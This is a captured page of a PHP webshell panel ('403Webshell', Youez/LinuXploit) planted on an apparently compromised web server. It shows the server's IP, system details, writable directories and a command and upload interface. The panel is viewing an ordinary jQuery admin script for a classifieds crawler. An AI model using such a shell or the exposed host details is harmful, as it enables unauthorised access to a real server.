403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.74
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 8.2.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/zomuaban.com/public_html/site/views/backend-old/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/zomuaban.com/public_html/site/views/backend-old/script/autoget_script.php
<script>
var $getForm = $('#autoget-form');
var $crudBox = $('#crud-box');
var $totalGet= 0;
$(document).ready(function(){

	// KIỂM TRA AUTORUN > reset các giá trị và tự động chạy
	// Check hash trên trình duyệt > move to dom and open tab	
	
	if(window.location.hash.lastIndexOf('reset-start')>-1){
		Logger.debug('RESET START');
		$getForm.find('#start-number-input').val(1);
	}else{
		Logger.debug('GET CONTINUE FROM COOKIE');
		$getForm.find('#start-number-input').val($.cookie('CURR_ITEM')?$.cookie('CURR_ITEM'): 1);		
	}
	
	if(window.location.hash.lastIndexOf('autorun')>-1){
		Logger.debug('AUTORUN');
		start_get_list($getForm.find('#start-number-input').val());
	}
	
	$getForm.find('#start-btn').click(function(e){
		e.preventDefault();
		start_get_list($getForm.find('#start-number-input').val());
	})
	
	// ADD
	var $addForm = $('#ADD');
		$addForm.find('.city-select .dropdown-toggle').citySelect();
		$addForm.find('.cate-all').menuSpy();
		$addForm.find('.submit-btn').click(function(e){
			e.preventDefault();
			
			$data = {};
			$data.link 		= $addForm.find('#link-input').val();
			$data.city 		= $addForm.find('.city-select .dropdown-toggle').val();
			$data.cate		= $addForm.find('.cate-all').val();		
				
			$alert 	= $addForm.find('.text-warning');	
			if($data.city=='')		{$alert.html('<small class="text-danger">Xác định thành phố</small>'); 		return; }
			if($data.cate=='all')	{$alert.html('<small class="text-danger">Chọn danh mục</small>'); 			return; }
			if($data.link=='')		{$alert.html('<small class="text-danger">Nhập link</small>'); 				return; }
			if(!isUrl($data.link))	{$alert.html('<small class="text-danger">Đường link không hợp lệ</small>'); return; }
			$alert.html('<small class="text-success">Đang submit</small>');
						
			// submit to db
			jQuery.ajax({			
				type:"POST",
				url:$conf.base_url('ajax_submit_crawlink'), 
				data:$data,		 
				success:function(result){
					result = $.parseJSON(result);						
					//append to html
					if(result.success){
						$alert.html('<small class="text-success">'+result.msg+'</small>');
						// append item to this					
						var html = '<tr class="item">';
							html +=	'	<td>||</td>';	
							html +=	'	<td><p class="city limit-line one-line">'+$addForm.find('.city-select .dropdown-toggle').text()+'</p></td>';	
							html +=	'	<td><p class="cate limit-line one-line">'+$addForm.find('.cate-all').text()+'</p></td>';	
							html +=	'	<td><p class="link limit-line one-line">'+$data.link+'</p></td>';	
							html +=	'	<td><p class="desc limit-line one-line">...</p></td>';	
							html +=	'</tr>';							
						$('#list-link tbody').append(html);					
						//reset input
						$('#link-input').val('');
					}else{
						$alert.html('<small class="text-danger">'+result.msg+'</small>');
					}				
				},error:function(e){
					$('#link-input').val('');
				}
			});		
		})		
	
	// Check to select link
	$('#list-link .check-all-record').click(function() {
		$('.checkbox').find('input').prop('checked', $(this).prop('checked'));
	});
		
	// Select checkbox when EDIT
	$('.item .checkbox input').click(function(){
		if($CRUD=='EDIT'){
			// remove checked all
			$('.checkbox').find('input').prop('checked', false);
			$(this).prop('checked', true);
			activeItemEdit($(this));
		}
	})
	
	// EDIT FORM
	var $editForm =  $('#EDIT');
		$editForm.find('.city-select .dropdown-toggle').citySelect();
		$editForm.find('.cate-all').menuSpy();
		$editForm.find('.submit-btn').click(function(e){
			e.preventDefault();
			$data = {};
			$data.link 		= $editForm.find('#link-input').val();
			$data.city 		= $editForm.find('.city-select .dropdown-toggle').val();
			$data.cate		= $editForm.find('.cate-all').val();	
			
			var $alert 	= $editForm.find('.text-warning');	
			
			if($data.link=='')		{$alert.html('<small class="text-danger">Hãy chọn một item để chỉnh sửa</small>'); 	return; }
			if(!isUrl($data.link))	{$alert.html('<small class="text-danger">Đường link không hợp lệ</small>'); 		return; }
			if($data.cate=='all')	{$alert.html('<small class="text-danger">Chọn danh mục</small>'); 					return; }
			
			$alert.html('<small class="text-success">Đang edit</small>');
			// submit to db
			jQuery.ajax({			
				type:"POST",
				url:$conf.base_url('ajax_update_crawlink'), 
				data:$data,		 
				success:function(result){
					result = $.parseJSON(result);						
					//Success > deactive this item
					if(result.success){
						if($currEditItem){
							//reset checked and add disabled
							$editForm.find('#link-input').val('');
							$currEditItem.addClass('disabled');
							$currEditItem.find('.checkbox input').prop('checked', false);
						}
					}else{
						$alert.html('<small class="text-danger">'+result.msg+'</small>');
					}	
					
					
				},error:function(e){
					$('#link-input').val('');
				}
			});	
		})
		
	
	
	// Click to DISABLE or DELETE link
	$crudBox.find('#DEL .submit').click(function(){
		$listId = [];
		$("input:checkbox[name=linkcrawl]:checked").each(function(){
			$listId.push($(this).val());
		});
		
		if($listId.length <=0) { 
			Logger.debug('chọn link cần xóa ');
			return false;
		}
		
		var $button = $(this);
			$button.button('loading');
		
		var $stat = $crudBox.find('#DEL .check-stat').prop('checked')==true?-1:0;
				
		jQuery.ajax({			
			type:"POST",
			url	:$conf.base_url('ajax_disable_crawlink'), 
			data:{'list':$listId, 'stat' : $stat},
			success:function(result){	
				// Ẩn hết tất cả link này
				$("input:checkbox[name=linkcrawl]:checked").each(function(){
					$li = $(this).parent().parent().parent().parent(); 
					$li.remove();
				});
				$button.button('reset');
			}, error:function(e){
				$button.button('reset');
				Logger.debug(e);
			}
		})
		
	});
})


start_get_list = function($index){ 
	var $list		= $('#list-link').find('.item');
	var $curlItem 	= $($list[$index - 1]);
	// Nếu ko tìm được item này thì next
	if(!$curlItem){start_get_list($index++);}	
	// scroll tới item này
	$('html, body').animate({ scrollTop:$curlItem.offset().top - 200}, 100);
	// active this item
	$curlItem.addClass('info');	
	// Lưu index vào cookie
	$.cookie('CURR_ITEM', $index);
	// Hiện index trên start button
	$getForm.find('#start-btn').html('<i class="fa fa-pause"></i> Runing at '+$index+' ... ');		
	
	var $data = {};			
		$data.city 		= $curlItem.attr('city');
		$data.cate		= $curlItem.attr('cate');	
		$data.link 		= $curlItem.attr('link');
		
	//console.log($data); return;
		
	jQuery.ajax({			
		type:"POST",
		url:$conf.base_url('ajax_get_list_ad'), 
		data:$data,		 
		success:function(result){
			$curlItem.removeClass('info').addClass('disabled');
			try{ result = $.parseJSON(result);
				if(result && result.success){
					$curlItem.find('.desc').html(result.msg);
					
					var $msg = result.msg.split('|');
					$totalGet += parseInt($msg[1]);
					$('#adminTool h2 #numget').text('('+$totalGet+')');
					Logger.debug('$totalGet : ' + $totalGet);
					
				}else{
					Logger.warn(result);
					$curlItem.addClass('warning').find('.desc').html(result.msg);
				}
			}catch(e){
				Logger.debug(e);
				$curlItem.addClass('warning').find('.desc').html(e.message);
			}
			// Next link
			netlink($index);	
			
		}, error:function(e){			
			$curlItem.removeClass('info').addClass('disabled').addClass('danger').find('.desc').html(e.statusText);
			netlink($index);
		}
	});	
}

netlink = function($index){
	var $list	= $('#list-link').find('.item');	
	var $index 	= parseInt($index);	
	
	if($index < $list.length){
		$index++; start_get_list($index);				
	}else{
		// HOÀN THÀNH
		$('#autoget-form #start-btn').addClass('disabled').html('<i class="fa fa-pause"></i> Stop at '+$index+' ... ');
		//set lại cookie đầu tiên
		$.cookie('CURR_ITEM', 1) ;
		// phát sự kiện ra parent iframe
		Logger.debug('DONE SUBDOMAIN - GOT :' + $totalGet);
		top.postMessage($totalGet, '*');
		
	}
}


var $currEditItem = null;
activeItemEdit = function($checkbox){
	$currEditItem = $checkbox.parent().parent().parent().parent();
	var $url = 'Please select item link';
	if($currEditItem)$url = $currEditItem.find('.link').text();
	$('#EDIT #link-input').val($url);
}

startEdit = function (){
	var $checkbox = $($("input:checkbox[name=linkcrawl]:checked")[0]);
	if($checkbox)activeItemEdit($checkbox);
}

startAdd = function (){}
startDel = function (){}


</script>

Youez - 2016 - github.com/yon3zu
LinuXploit